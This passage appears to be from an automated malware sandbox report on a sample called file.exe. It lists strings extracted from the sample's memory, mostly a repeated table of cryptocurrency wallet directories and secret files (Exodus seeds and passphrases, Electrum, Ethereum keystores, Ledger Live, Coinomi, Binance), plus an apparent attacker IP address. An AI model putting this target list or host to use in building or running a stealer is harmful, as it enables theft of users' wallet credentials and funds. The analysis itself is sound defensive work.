Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2528465742.0000000001283000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Binance\simple-storage.json
Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
